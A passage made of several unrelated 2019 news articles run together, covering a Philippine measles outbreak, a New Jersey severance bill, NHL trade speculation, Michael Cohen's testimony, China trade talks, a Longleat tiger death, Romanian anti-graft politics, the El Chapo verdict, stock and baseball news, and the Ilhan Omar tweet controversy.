and Central Visayas. Earlier, the DOH had been conducting supplementary immunization activities and outbreak response immunization to combat the rising trend in measles cases. DOH records showed there were 4,302 confirmed cases of measles. It also listed at least 70 deaths due to the disease as of Feb. 10, 2019. As government agencies scrambled to deal with the measles outbreak, Senator Risa Hontiveros continued her word war with Public Attorneys Office chief Persida Rueda Acosta. READ: Measles outbreak: Politics rears ugly head Responding to Acostas claim that vaccination rates were falling for years, even before the Dengvaxia scare, Hontiveros said the PAO chief failed to mention that these coverage rates fell to an all-time low in 2018. Hontiveros blames Acosta for the recent measles outbreak, saying her statements at the height of the Dengvaxia controversy lowered the peoples confidence in the governments immunization program. Senator Juan Edgardo Angara on Wednesday urged the DOH to ensure a stable supply of measles vaccines. The DOH must ensure consistent and adequate supply of measles vaccines in anticipation of increased demand as many people rush to protect themselves and their children from the virus, Angara said. Angara, who is seeking reelection in May, was in Bataan on Wednesday for a political rally organized by Hugpong ng Pagbabago. READ: Measles outbreak: 70 dead(Photo: ASSOCIATED PRESS)

The recent mass store closures at retail chains Toys R Us and Sears have spawned a campaign to guarantee severance pay to laid-off workers. Its backers now face their first big legislative test: a bill in New Jersey that would make severance a requirement for large employers.

If the proposal succeeds, similar bills will almost certainly pop up in other states, the way minimum wage laws and paid sick leave protections have spread across the country in recent years, particularly in blue states.

At least thats the hope of workers like Bruce Miller. He lost his job as a Sears auto technician in 2018 when his store in Toms River, New Jersey, closed. He had 36 years with the company and received eight weeks of severance pay, an amount he believes should have been greater. He said severance should be mandatory and based on an employees length of service.

Most workers put their heart and soul into the job, said Miller, 56, who testified in favor of the bill last week. Not getting severance after youve been there so many years, its a punch in the gut. Its not fair to anybody out there.

The New Jersey proposal, which was recently introduced in the state Senate, would assure laid-off workers one week of pay for every year theyd worked at the company, which would be paid out by the employer, not the state. Had such a law been in place when Sears was axing workers, Miller would have received roughly nine months of salary, rather than two  a greater financial cushion for him and a greater cost for Sears.

The bill would make significant changes to the states mass layoff law, which is based on the federal WARN Act. In addition to the severance requirement, it would increase the amount of advance notice that employers must give workers before making cuts: from 60 days to 90 days. Employers who failed to give such a heads-up would have to pay a minimum of four weeks of severance to an affected worker, no matter how long the workers tenure.

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The severance pay would come on top of the notice time during which the workers were still being paid, meaning the severance wouldnt kick in until after the 90 days had passed. The law would apply only to companies that were laying off 50 or more employees, meaning smaller businesses wouldnt be on the hook.

Even so, business groups say the proposal worries them. Michael Egenton, a lobbyist with the New Jersey Chamber of Commerce, said the mandatory severance provision might be hard for failing businesses to meet. He argued that employers might balk at expanding into New Jersey if there were more workplace mandates, noting also the recent passage of a law requiring a $15 minimum wage by 2024.

Our bigger concern is everyone is entitled to severance regardless of the financial situation, Egenton said, adding that he had industries other than retail in mind. I wouldnt want our members in the pharmaceutical bio industry to start getting nervous, wondering what happens if [they] have to move employees around.

As with the vast majority of states, severance pay is currently optional in New Jersey under most circumstances. Many companies therefore decline to offer any. Toys R Us, which was headquartered in Wayne, New Jersey, didnt give store employees the severance they expected after it announced last year that the chain was shutting down. Only when workers organized and embarrassed the chains owners did they establish a severance fund.

The effort in New Jersey grew directly out of that Toys R Us campaign. Infuriated over the lack of severance, former Toys R Us employees began publicly protesting against the bankrupt companys debtholders last year. They took on the name Rise Up Retail and began agitating for better protections for all retail workers who lose their jobs. The effort is backed by the Organization United for Respect, which has a history of organizing Walmart employees, and the liberal advocacy group Center for Popular Democracy.

Rise Up Retail has taken special aim at chains that were bought by private equity groups or hedge funds and later went bankrupt: Bain Capital and KKR in the case of Toys R Us and billionaire Eddie Lampert in the case of Sears. While all Toys R Us stores in the U.S. have closed, Lampert recently reached a deal to keep 425 Sears stores open.

Carrie Gleason, policy director at Rise Up Retail, said laid-off workers would be less reliant on unemployment benefits if they received a week of pay for every year theyd worked at a company. She also argued that investors might be less likely to close a struggling business and more eager to rescue it if shutting the doors required paying out severance. The owners of Toys R Us, she noted, rejected some offers to buy and reorganize the chain.

If you could imagine where someone got three months notice [and] then a week of severance for every year, they would just about have enough [of] the real time it takes to find a job, Gleason said. At chains like Sears and Toys R Us, she added, many workers were mid-career or older and suddenly found themselves having to start over while facing age discrimination.

As for whether her group will push for severance laws beyond New Jersey, Were already hearing from interested policymakers around the country, Gleason said.

(Photo: Scott Olson via Getty Images)

Zach Herman, a researcher at the National Conference of State Legislatures, which tracks state legislation around the country, said New Jersey is the only state with such a proposal on the table so far this year. Maine, he noted, already has a similar severance law on the books, requiring a weeks pay for each year of service in mass layoffs, although only for employees with at least three years on the job. Several other states require severance only when the employer fails to give the legally obligated warning. (Thats the current law in New Jersey.)

The proposal has a good chance of passing in New Jersey, where Democrats control both chambers of the statehouse and the Democratic governor, Phil Murphy, has promised progressive reforms. Still, Egenton, of the state chamber of commerce, said he hopes a middle ground can be reached, with softer severance provisions to placate businesses. He also said he wouldnt be surprised if employers fought the measure in court if it became law.

Bruce Miller said he hopes the bill passes as is. He worked on commission at Sears, and his earnings fell late in his career as the companys business dropped off. He was already facing foreclosure when he lost his job, he said. If hed had a weeks salary for every year he worked, Miller added, maybe he could have worked out arrangements with his lender rather than losing his home.

We want to change the rules so that other people coming into this situation wont have to go through this, he said.

Love HuffPost? Become a founding member of HuffPost Plus today.

This article originally appeared on HuffPost.Its become increasingly clear that Ottawas pending UFA trio of Mark Stone, Matt Duchene, and Ryan Dzingel are not particularly interested in playing for the Senators much longer.

You cant really blame them, because this is a franchise that has acknowledged it is continuing its not-nascent-enough rebuild for at least the next two seasons. The good news is the knowledge that none are likely to return frees up Pierre Dorion to do what he should have been planning to do all along: Trade the lot of them and get back a ton of futures.

Between the three of them, the guys who should be near the top of everyones list of intriguing trade bait as theyve combined to score 71 of Ottawas 172 goals. Dzingel brings up the rear with 21, while Stone and Duchene have 25 each, while no one else on the team has more than 12.

Depending upon the market, the expected return for any two of them, let alone all three, is multiple first-round picks, at least two high-end prospects, and probably a few more B prospects. Really helps you ramp up toward that big-spending year in 2021, right after a potential lockout.

Embattled Senators GM Pierre Dorion has some big opportunities again. (NHL)

But there is a problem here: Ottawa was going to throw a bunch of money at Stone and Duchene specifically. Probably Dzingel too, but obviously not as much as the other two. If they trade those guys  which they absolutely should  they have some pretty gaping holes in the lineup for next year; with 14 players signed, they would have less than $45.5 million committed to next years cap.

The cap ceiling is expected to rise to somewhere between $78 million and $82 million next year, which would move the floor to something like $62 million. That gives them about $16.5 million to spend on five or six players, but some of them will be RFAs getting new deals (like Cody Ceci and Colin White) and some of them will be call-ups (like Logan Brown and Christian Wolanin). Altogether, the Senators might still have to spend something like $8 million on players just to get to the cap floor, and the problem is that of course top players will have to want to sign with this particular organization, which doesnt seem like a move most guys will want to follow through on given how its run.

Story continues

The idea, then, should be to address these concerns through trades without taking on a lot of term that ties them up beyond when they want to Spend Money in 2021, and fortunately there are a lot of really bad contracts around the league that the Sens should be happy to take on. And all they would need from the teams theyd be helping out with this mutually beneficial arrangement is, I dont know, lets say a few picks and prospects. They might even be able to get in between some trades as a way to launder cap space for other parties  Well retain 50 percent on so-and-so if you make it worth our while.

This is all perfectly legal under the CBA and would probably be a bigger benefit for the Senators because frankly, a lot of bad deals in this league are back-diving and they would have to pay guys less money than what their cap hit actually is.

Youd have to do it in the summer, but theres no reason the Sens shouldnt use their cap space as an asset to facilitate deals. Even if its a little complicated.

Lets take, just for example, Bostons woeful David Backes contract: Its a $6 million cap hit the next two seasons for a guy whos been healthy-scratched recently, but is only owed $4 million in signing bonuses and $4 million in salaries for the next two seasons. Hell get $3 million of that signing bonus in early July, and after that, the actual cost of employing Backes for the next two seasons, when the Senators absolutely need money on the books, is $5 million despite his AAV of $6 million.

Thats maybe not the best example because Backes has an eight-team no-trade list next summer and why would anyone agree to go to Ottawa? Its the same reason the Sens probably wont be able to help Edmonton by taking Milan Lucic off their hands. That also goes for Ryan Callahan.

But could you help out Chicago with Connor Murphy? Philadelphia with Andrew MacDonald? Pittsburgh with Jack Johnson? Winnipeg with Dmitry Kulikov? Vegas with Cody Eakin? Buffalo with Zach Bogosian? The Islanders with Casey Cizikas? Detroit with Jonathan Bernier? Calgary with Michael Stone? Hell, Arizona with Marian Hossa?

(I almost said, Edmonton with Kris Russell? but remembered that of COURSE Russell has a no-move.)

Im just going off the top of my head here, but you get the idea. Call every GM in the league and offer to make their problems go away, for a price. The goal for the Senators is to field as bad a team as possible. There are a lot of clubs with the kinds of contracts that will help them achieve that goal while also building their war chest so they can either develop or trade for young talent when 2021 rolls around.

We all know the Sens dont have a first-round pick this year, as well as a relatively weak farm system. They should angle to change that in the next week or two. But they do have eight in the first two rounds of the next three drafts (through 2021), which isnt a bad number if youre looking to rebuild.

However, the number could always be better, and few teams are as well-positioned as the Sens to improve it.

That is, if theyre being run competently, and well

More NHL coverage from Yahoo Sports



Ryan Lambert is a Yahoo Sports hockey columnist. His email is here and his Twitter is here.

All stats via Corsica unless otherwise noted.The Republican chairman of the Senate Intelligence Committee said the committee is losing patience with Michael Cohen, who skipped out on planned testimony Tuesday.

I can assure you that any goodwill that might have existed in the committee with Michael Cohen is now gone, Chairman Richard Burr told reporters Tuesday.

Cohens lawyer, Lanny Davis, said in a statement that his clients committee appearance was postponed due to post-surgery medical needs from Cohens minor shoulder surgery. However, this is the third time President Trumps former personal lawyer has postponed planned testimony for a myriad of reasons.

The committee has subpoenaed Cohen, who admitted in November to lying to the same committee about how long talks to build a Trump Tower in Moscow continued into the 2016 campaign season. He faces a three-year prison term set to begin in March for lying to Congress, a slew of financial crimes, and campaign finance violations for the Trump campaign.

The way hes positioning himself not coming to the committee we may help him go to prison, the North Carolina senator warned.

Hes had a letter for six months asking for his return, Burr continued. Hes already stiffed us on being in Washington today because of an illness,. Yet on Twitter a reporter reported he was having a wild night Saturday night eating out in New York with five buddies. Didnt seem to have any physical limitations and he was out with his wife last night.

Burr said he thinks it would be prudent to talk to Cohen before the committee concludes its investigation into the 2016 election, adding he would go to every length I could to make sure we got his testimony.

The senator said that he would prefer to hear what Cohen has to say before he goes to prison, rather than bringing him out afterwards for testimony.

More from National ReviewWASHINGTON (Reuters) - Seven U.S. Democratic senators urged President Donald Trump on Wednesday to press China for a trade deal that fully addresses the technology transfer and intellectual property concerns outlined by U.S. Trade Representative Robert Lighthizer. Led by Senator Robert Menendez of New Jersey, the senators said in a letter to Trump that any deal with Beijing must at a minimum commit China to "cease the predatory practices" identified in USTR's Section 301 investigation, which formed the basis for U.S. tariffs on Chinese goods. "As you approach the final weeks of negotiations with China, we urge you to insist that the deal make substantial, verifiable, and enforceable progress to address the myriad threats identified in USTRs investigation," the senators wrote. Several U.S. lawmakers and business groups have urged Trump in recent weeks not to settle for an agreement based largely on increased Chinese purchases of farm and energy commodities, amid signals that Trump is eager for a deal with Chinese President Xi Jinping. On Wednesday, Trump said trade talks in Beijing are "going along very well." Lighthizer and Treasury Secretary Steven Mnuchin are due to meet with Chinese President Xi Jinping's top economic adviser, Vice Premier Liu He, on Thursday and Friday. The letter from the Democratic senators reminded Trump of the main Chinese violations identified by Lighthizer's investigation last year, including unfair investment restrictions and licensing practices that pressure U.S. companies into turning over technology to Chinese firms, state driven acquisitions of U.S. technology firms and state-sponsored cyber theft of American trade secrets. "Your negotiations should seek to extract meaningful commitments from China on each of these elements and end the threats that these policies pose to the U.S. economy and national security," they wrote. In addition to Menendez, the letter was signed by Sheldon Whitehouse of Rhode Island, Mark Warner of Virginia, Maggie Hassan of New Hampshire, Ben Cardin of Maryland, Michael Bennet of Colorado and Catherine Cortez Masto of Nevada. (Reporting by David Lawder; Editing by Tom Brown)Thirteen-year-old female Shouri died in a fight with two other tigers (Longleat)

A rare tiger has died after a fight at Longleat Safari Park  marking the second tiger death in less than a week.

Shouri, a 13-year-old Amur tiger, managed to roam into a paddock where two other tigers, Red and Yana, were being held at the tourist attraction in Warminster, Wiltshire.

A fight took place between the three animals, resulting in Shouris death.

The park said the other two tigers were uninjured in the fight, which took place while the park was not open to the public.

The incident took place at Longleat Safari and Adventure Park (Wikipedia/stock photo)

Shouris death comes less than a week after an endangered Sumatran tiger was killed by another tiger at London Zoo.

In a statement, Longleat said: Red and Yana arrived at Longleat last year as a breeding pair.

During the process of moving the tigers between the various outdoor paddocks, a door connecting two areas was opened which meant Shouri was able to gain access to the same outdoor area as Red and Yana.

MORE: Japanese bonsai owners urge thieves who stole 400-year-old tree to take care of it

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The dedicated team of keepers who care for our big cats are, understandably, extremely distraught by the events and we are doing everything we can to help and support them.

The park added that a full investigation into the terribly sad event had begun.

Just 540 Amur tigers are believed to be alive today, following decades of hunting bringing them to the brink of extinction.Bucharest (AFP) - A stand-off between Romania's government and judiciary escalated as the former chief anti-graft prosecutor said she had been summoned by investigators over allegations of corruption, abuse of office and giving false testimony.

It comes as Bucharest seeks to dissuade other EU countries from appointing the ex-official, Laura Codruta Kovesi, to lead a new European prosecutor's office.

"It is obvious that these proceedings are aimed at blocking my candidacy and not at getting to the truth," Kovesi told the Europa FM radio station on Wednesday.

"I will go to Brussels, I will explain that I am innocent and that the opening of proceedings against me is a ruse," she said.

Earlier on Wednesday Romanian media published a letter from Justice Minister Tudorel Toader to his EU colleagues which painted a damning picture of Kovesi's actions while in office.

He accused Kovesi of having signed "secret and anti-democratic pacts" with Romania's intelligence agencies in order to cooperate with them on investigations linked to national security or corruption.

"The protocols, since ruled unconstitutional, bring to mind the intermingling of politics, intelligence and law enforcement so notorious in our nation during Communist rule," Toader wrote.

The centre-right opposition denounced what it called an "attempt to intimidate" Kovesi after she said she had been asked to appear before a new body set up by the government to probe alleged abuses by prosecutors.

There has been no comment from the government on the new investigation.

- 'Parallel state' -

Kovesi, 45, led Romania's National Anti-Corruption Directorate (DNA) from 2013 to 2018 before being controversially removed at the leftwing government's behest.

Since then she has emerged as a front-runner to lead the new European Public Prosecutor's Office, which is meant to be in place by the end of 2020.

Story continues

During her time as head of the DNA, hundreds of elected officials were convicted of corruption offences, earning her the enmity of many in Romania's political class and criticism that she had overstepped her mandate.

The government says Kovesi, along with the parts of the justice system and the intelligence services, acted as a shadowy "parallel state".

However, many Romanians retain a positive view of her, seeing her as a symbol of the fight to rid the country of its endemic corruption.

The DNA's work has been regularly praised by EU institutions, while the government has come under steady criticism from Brussels over proposed judicial reforms which could weaken the independence of the justice system.

The rows have overshadowed Romania's first-ever term as head of the rotating EU presidency, with Bucharest making clear its opposition to Kovesi taking the job in Brussels.

Governments from member states and the European Parliament are expected to approve a candidate for the new post at the beginning of March.By Dave Graham MEXICO CITY (Reuters) - Joaquin "El Chapo" Guzman, Mexico's most notorious kingpin, shipped tonnes of drugs around the world, escaped two maximum-security prisons and became one of the world's most-wanted fugitives. The 61-year-old now faces the prospect of life in prison. Jurors on Tuesday found Guzman guilty of all 10 counts, including running a criminal enterprise, in a trial that began in November in New York. The audacious exploits of "El Chapo," or "Shorty," captured the world's imagination and turned him into a folk hero for some in Mexico, despite the thousands of people killed by his brutal Sinaloa cartel. Beyond putting Guzman's personal life and drug dealings on public display, the case has also highlighted Mexico's longtime fight to bring down its chief adversary in the bloody war on drug trafficking. In January 2016, after some three decades running drugs, Guzman was caught in his native northwestern state of Sinaloa. Six months earlier, he had humiliated Mexico's then-president, Enrique Pena Nieto, by escaping from prison through a mile-long (1.6-km-long) tunnel dug straight into his cell and equipped with a motorbike - his second time escaping a Mexican penitentiary. Just days after his 2016 capture, Guzman's larger-than-life reputation was sealed when U.S. movie star Sean Penn published a lengthy account of an interview he conducted with the drug lord, which the Mexican government said was "essential" to his capture a few months later. "I supply more heroin, methamphetamine, cocaine and marijuana than anybody else in the world. I have a fleet of submarines, airplanes, trucks and boats," Penn said Guzman told him at the drug lord's mountain hideout. Mexico's government extradited Guzman in January 2017, a day before Donald Trump took office as U.S. president on vows to tighten border security to halt immigration and drug smuggling. Guzman's legendary reputation in the Mexican underworld began taking shape when he staged his first jailbreak in 2001 by bribing prison guards, before going on to dominate drug trafficking along much of the Rio Grande. However, many in towns across Mexico remember Guzman better for his squads of hit men who committed thousands of murders, kidnappings and decapitations. Violence began to surge in 2006 as the government launched a war on drug trafficking that splintered criminal groups and sent killings spiraling. Mexico has registered more than 250,000 homicides since then, including a record number of killings last year. Guzman's Sinaloa Cartel went on smuggling hundreds of tonnes of heroin, cocaine, marijuana, and crystal meth across Mexico's border with the United States. In February 2013, the Chicago Crime Commission dubbed him the city's first Public Enemy No.1 since Al Capone. ELUSIVE KINGPIN Security experts concede the 5-foot-6-inch (1.68 meter) gangster was exceptional at what he did, managing to outmaneuver, outfight or outbribe his rivals to stay at the top of the drug trade for over a decade. Rising through the ranks of the drug world, Guzman carefully observed his mentors' tactics and mistakes, forging alliances that kept him one step ahead of the law for years. Mexican soldiers and U.S. agents came close to Guzman on several occasions, but his layers of bodyguards and spies always tipped him off before they stormed his safe houses. In preparing for a raid in 2014, U.S. officers restricted information to a small group for fear of corruption among Mexican law enforcement, Drug Enforcement Administration agent Victor Vasquez testified in Guzman's trial. SINALOA ROOTS Guzman was born in La Tuna, a village in the Sierra Madre mountains in Sinaloa state where smugglers have been growing opium and marijuana since the early 20th century. He ascended in the 1980s, working with Miguel Angel Felix Gallardo, alias "The Boss of Bosses," who pioneered cocaine smuggling routes into the United States. The aspiring capo came to prominence in 1993 when assassins who shot dead Roman Catholic Cardinal Juan Jesus Posadas claimed they had actually been aiming at Guzman. Two weeks later, police arrested him in Guatemala and extradited him to Mexico. During his eight-year prison stay, Guzman smuggled in lovers, prostitutes and Viagra, according to accounts published in the Mexican media. After escaping, Guzman expanded his turf by sending in assassin squads with names such as "The Ghosts" and "The Zeta Killers," in reference to the rival Zetas gang. Guzman hid near his childhood home, agents said, but rumors abounded of him visiting expensive restaurants and paying for all the diners. In 2007, Guzman married an 18-year-old beauty queen in an ostentatious ceremony in a village in Durango state. The state's archbishop subsequently caused a media storm when he said that "everyone, except the authorities," knew Guzman was living there. Guzman's bride, Emma Coronel, gave birth to twins in Los Angeles in 2011. She attended nearly every day of her husband's trial in New York, at one point donning a red blazer that matched his own. WAGING WAR Between 2004 and 2013, Guzman's gangs fought in all major Mexican cities on the U.S. border, turning Ciudad Juarez and Nuevo Laredo into some of the world's most dangerous places. In one such attack, 14 bodies were left mutilated under a note that read, "Don't forget that I am your real daddy," signed by "El Chapo." Guzman's Sinaloa cartel often clashed with the Zetas, a gang founded by former Mexican soldiers, arming its crew with rocket-propelled grenades and heavy machine guns. In 2008, hit men working for a rival murdered Guzman's son Edgar, a 22-year-old student. Guzman reportedly left 50,000 flowers at his son's grave. In the 1990s, Guzman became infamous for hiding several tonnes of cocaine in cans of chili peppers. In the following decade, his crew took drugs in tractor-trailer trucks to major U.S. cities, including Phoenix, Los Angeles and Chicago, indictments say. Forbes magazine put the kingpin's wealth at $1 billion, though investigators say it is impossible to know exactly how much he was worth. (Reporting by Dave Graham and Mexico City Newsroom; editing by Daina Beth Solomon, Alistair Bell and Jonathan Oatis)A Makati City court judge on Wednesday sentenced to life imprisonment an alleged member of the Mexican drug cartel Sinaloa who was arrested in a buy-bust operation at a hotel in the city five years ago.

Judge Selma Palacio Alaras, of Makati Regional Trial Court Branch 63, also ordered the Mexican Horacio Hernandez Herrera to pay P500,000 to P10 million after he was found guilty of for violating the Dangerous Drugs Law. In other developments:  The Justice department on Wednesday hailed the decision against Herrera. Justice Undersecretary and spokesman Mark Perete said the decision against Herrera was a welcome development in the governments fight against illegal drugs.  The Sinaloa cartel, a multi-billion-dollar Mexican drug empire, has teamed up with Chinese syndicates to smuggle narcotics into the country, the Philippine Drug Enforcement Agency said Wednesday. Sinaloas operations in the Philippines flourished even after the 2015 arrest of its then Top 3 leader Herrera, said PDEA Director General Aaron Aquino. Herrera was arrested after selling P12 million worth of cocaine to a poseur buyer inside a hotel in Makati City in January 2015.The authorities recovered 2.5 kilos of cocaine from him. Justice department officials claimed Herrera is a mid-level member of the Sinaloa drug cartel engaged in the distribution of prohibited drugs including shabu, ecstasy, and cocaine in Metro Manila and nearby provinces. The cartels founder, Joaquin El Chapo Guzman, was captured in Mexico in January 2016 and extradited to the United States a year later. The Sinaloa drug cartel is considered the worlds most powerful drug trafficking and organized crime group. PDEA officials said Mexico was one of the countries of origin of the drugs being distributed in the Philippines. The other two were China and Taiwan. They said cocaine, shabu, marijuana, and ecstasy were the top three narcotics in the country being manufactured by drug syndicates in these countries. The syndicates are reportedly distributing drugs in cahoots with local government officials in the country. To solve the problem, the PNP has reactivated Operation: Double Barrel Reloaded in close coordination with PDEA, which assists in the conduct of an investigation of suspected drug personalities.ripple xrp crypto cryptocurrency

Ripple (XRP) is not a cryptocurrency, and it is heavily centralized in the hands of the corporate entity known as Ripple. Thats the opinion of a cryptocurrency exchange which listed XRP on its platform just one day ago.

XRP Is Not a Cryptocurrency

Ripple CEO Brad Garlinghouse XRP

Ripple CEO Brad Garlinghouse claims that XRP is very clearly decentralized, but many others disagree. | Source: Steve Jennings/Getty Images for TechCrunch

The Coinmotion exchange, based in Finland, released this blog post just hours after listing Ripple on its trading platform, titled: XRP is a Centralized Virtual Currency.

The post details the opinion of the exchange operators that XRP is not a typical cryptocurrency, is not backed up by a traditional blockchain, and that it is heavily centralized in the hands of parent company, Ripple Labs.

Read the full story on CCN.com.Retail Properties of America (RPAI) came out with quarterly funds from operations (FFO) of $0.26 per share, beating the Zacks Consensus Estimate of $0.25 per share. This compares to FFO of $0.25 per share a year ago. These figures are adjusted for non-recurring items.

This quarterly report represents an FFO surprise of 4%. A quarter ago, it was expected that this real estate investment trust would post FFO of $0.25 per share when it actually produced FFO of $0.26, delivering a surprise of 4%.

Over the last four quarters, the company has surpassed consensus FFO estimates two times.

Retail Properties of America, which belongs to the Zacks REIT and Equity Trust - Retail industry, posted revenues of $119.35 million for the quarter ended December 2018, missing the Zacks Consensus Estimate by 0.58%. This compares to year-ago revenues of $126.59 million. The company has topped consensus revenue estimates two times over the last four quarters.

The sustainability of the stock's immediate price movement based on the recently-released numbers and future FFO expectations will mostly depend on management's commentary on the earnings call.

Retail Properties of America shares have added about 22.5% since the beginning of the year versus the S&P 500's gain of 8.1%.

What's Next for Retail Properties of America?

While Retail Properties of America has outperformed the market so far this year, the question that comes to investors' minds is: what's next for the stock?

There are no easy answers to this key question, but one reliable measure that can help investors address this is the company's FFO outlook. Not only does this include current consensus FFO expectations for the coming quarter(s), but also how these expectations have changed lately.

Empirical research shows a strong correlation between near-term stock movements and trends in estimate revisions. Investors can track such revisions by themselves or rely on a tried-and-tested rating tool like the Zacks Rank, which has an impressive track record of harnessing the power of estimate revisions.

Story continues

Ahead of this earnings release, the estimate revisions trend for Retail Properties of America was mixed. While the magnitude and direction of estimate revisions could change following the company's just-released earnings report, the current status translates into a Zacks Rank #3 (Hold) for the stock. So, the shares are expected to perform in line with the market in the near future. You can see the complete list of today's Zacks #1 Rank (Strong Buy) stocks here.

It will be interesting to see how estimates for the coming quarters and current fiscal year change in the days ahead. The current consensus FFO estimate is $0.25 on $119.67 million in revenues for the coming quarter and $1.03 on $486.13 million in revenues for the current fiscal year.

Investors should be mindful of the fact that the outlook for the industry can have a material impact on the performance of the stock as well. In terms of the Zacks Industry Rank, REIT and Equity Trust - Retail is currently in the bottom 40% of the 250 plus Zacks industries. Our research shows that the top 50% of the Zacks-ranked industries outperform the bottom 50% by a factor of more than 2 to 1.



Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report



Retail Properties of America, Inc. (RPAI) : Free Stock Analysis Report



To read this article on Zacks.com click here.



Zacks Investment ResearchThe Philadelphia Phillies have signed their young ace starting pitcher Aaron Nola to a four-year, $45 million extension.

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Nola, 25, had a breakout year on the bump for the Phillies in 2018. He had a 2.37 ERA, a career best in four major league seasons, over 212.1 innings, a career high. He placed third in the National League Cy Young voting in 2018, behind Jacob deGrom and Max Scherzer.

Nola deal gives Phillies some payroll certainty

Nolas contract extension comes just one day before he and the Phillies were scheduled to head to arbitration on his 2019 salary. The extension buys out all of his arbitration years and at least his first year of free agency.

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The deal also includes a club option for a fifth year that would take him through his age-30 season.

Looking at the numbers, its a very team-friendly deal. Especially when you compare it to the six-year, $140 million deal Patrick Corbin signed with the Washington Nationals. Corbin is four years older than Nola, has a spottier track record, and a lower ceiling than Nola. Nolas worth more than the Phillies are giving him in the first few years of his deal, but the uncertainty of arbitration means his salaries in those years are wildly unpredictable. This extension gives Nola security and allows him to avoid arbitration.

[Batter up: Join or create a 2019 Yahoo Fantasy Baseball league for free today]

Aside from wanting to lock down their young ace, there was no urgent reason for the Phillies and Nola to ink this extension. Nola had three years of arbitration left before he would have been a free agent at the conclusion of the 2021 season. But this deal gives the Phillies fewer things to worry about in the coming years. They know exactly what theyre paying Nola instead of heading to arbitration for the next few years, and they dont have to worry about him hitting free agency until 2023 if they choose.

Whats next for the Phillies?

The certainty the Phillies gain from Nolas extension will only help them if they want to make one more big move this offseason. And that move would obviously be signing Bryce Harper or Manny Machado. The Phillies have been heavily involved in talks for both players, and each would be good fits for the Phillies.

Story continues

Either player would make the Phillies better than they are now, but its easy to miss how much better the Phillies have gotten during this offseason. They signed Andrew McCutchen and David Robertson, and traded for Jean Segura and J.T. Realmuto. They shipped Carlos Santana off to the Cleveland Indians, meaning that Rhys Hoskins can end his time in left field and move back to his natural position at first base. Theyve strengthened the infield, outfield, and the bullpen, and signed their staff ace to a multi-year extension.

In one offseason, the Phillies have set themselves up for a run at the playoffs and gone from a team of young, inexperienced upstarts to an attractive contender. They could stop now and be content to compete with the New York Mets for one of the National League wild-card spots. But if they want to make a run at the NL East crown and hang with the Nationals and Atlanta Braves, they need to land Harper or Machado. Nolas extension could be the last thing the Phillies do this offseason, or it could be the last thing they do before they sign one of the Big Two and officially become a team to be reckoned with.

The Phillies have inked a four-year extension with their ace starter Aaron Nola. (Photo by Rich Schultz/Getty Images)

More from Yahoo Sports:

 Belichick changed his boats name to reflect SB win

 22-year-old son of NFL head coach is arrested

 Panthers deal proves NFL collusion, Eric Reid says

 Did Peyton Manning unknowingly help the Pats?

The 360 is a feature designed to show you diverse perspectives on the days top stories.

Speed read

Who: Rep. Ilhan Omar, D-Minn.

What: The freshman Democratic congresswoman from Minnesota The freshman Democratic congresswoman from Minnesota apologized for tweets that her critics said invoked anti-Semitic tropes about Jewish financial influence over U.S. politics.

When: On Sunday, Omar quoted a On Sunday, Omar quoted a tweet by journalist Glenn Greenwald that questioned why lawmakers spend time defending Israel, reposting it with the caption, Its all about the Benjamins, baby. She then responded to a tweet asking where she thought this money was coming from by saying AIPAC  the pro-Israel lobby group American Israel Public Affairs Committee.

Omar on Monday apologized unequivocally for her remarks. Anti-Semitism is real and I am grateful for Jewish allies and colleagues who are educating me on the painful history of anti-Semitic tropes, she said, adding: Listening and learning, but standing strong.

Why: Omars apology came after widespread criticism from Democrats and Republicans alike. Speaker Nancy Pelosi and the House Democratic leadership she should either resign from Congress or she should certainly resign from the foreign affairs committee. Omars apology came after widespread criticism from Democrats and Republicans alike. Speaker Nancy Pelosi and the House Democratic leadership issued a statement calling the congresswomans tweets deeply offensive. President Trump called her apology lame and said that 

Story continues

Its not the first time Omar has been in hot water for remarks about Israel. Three weeks ago, she apologized for an old tweet saying that Israel had hypnotized the world  terminology previously used against Jews in Nazi conspiracy theories.

Whats next: Omar, who, in November, became the first Somali-American woman to be elected to Congress, used her apology to reaffirm the problematic role of lobbyists in our politics, and vowed to continue fighting against their influence, whether it be AIPAC, the NRA, or the fossil fuel industry.

Perspectives

Omars tweets were a gift to her critics.

Her words were a gift to Republicans, who seek to divide the Democrats over Israel, even as their president traffics in anti-Semitic imagery and stereotypes. The knives were out for Omar and she ran right into them.  Michelle Goldberg, New York Times

Omars apology, if genuine, is welcome. But more important is for Omar  and for Rep. Rashida Tlaib (Mich.), another Muslim Democratic freshman who has been in similar controversy  to understand that their recent actions hurt not just Jews but also Muslims, Democrats and ultimately all who support tolerance.  Dana Milbank, Washington Post

There is a growing tolerance for anti-Semitism on the left.

The Left and the Democratic party tolerate anti-Semitism openly expressed, period: From the Reverend Al Sharpton and his Jewish bloodsuckers in Crown Heights to the footsie-playing with Farrakhan to Representative Omars trafficking in the worst of 1920s anti-Semitic mythology, anti-Semitism is now a regular part of politics among Democrats, from the far-left radicals who see in Israel an extension of American imperialism to those who appeal to the anti-Semitism that is all too common among African Americans and Muslim Americans, the latter of whom are an important new Democratic constituency. This is the reality that informed Representative Omars libel.  Editorial Board, National Review

Criticism from the right reveals a partisan double standard.

Republican elected officials are quick to condemn Omar but do not seem to see how their own rhetoric encourages these far worse elements who identify as part of the political right. The double standard is palpable, and has largely been downplayed in coverage of the Omar situation. But it shouldnt be. While the Democratic Party handled an offensive comment quickly, Republicans have never shown a willingness to do the same when it comes to right-wing anti-Semitism. Theres a reason most Jews in the United States are Democrats, and will likely remain so for the foreseeable future.  Zack Beauchamp, Vox

The controversy started an important conversation.

To pretend money doesnt play a role  or that AIPAC doesnt have a big impact on members of Congress and their staffers  is deeply disingenuous. And so we should thank Omar, the freshman lawmaker, for having the guts to raise this contentious issue and break a long-standing taboo in the process  even if she maybe did so in a clumsy and problematic fashion.  Mehdi Hasan, The Intercept

She clearly meant it as a comment on the power of lobbyists, but it inadvertently invoked long-standing tropes of wealthy Jewish cabals exerting influence. The ensuing political firestorm revealed just how hard it is to maintain solidarity in the face of the oppressive forces that want to divide and conquer. The solution is this: Listen. Believe people when they reach out to you in good faith. Ignore bad-faith hypocrites. Apologize if necessary. Then we can move forward together.  David M. Perry, CNN

Omar was unfairly targeted.

The following two things are true. First, Representative Ilhan Omar was wrong to tweet that the American governments support of Israel is all about the Benjamins. Secondly, shes being judged by a grotesque double standard. Her fiercest critics in Congress are guiltier of bigotry than she is.  Peter Beinart, Forward

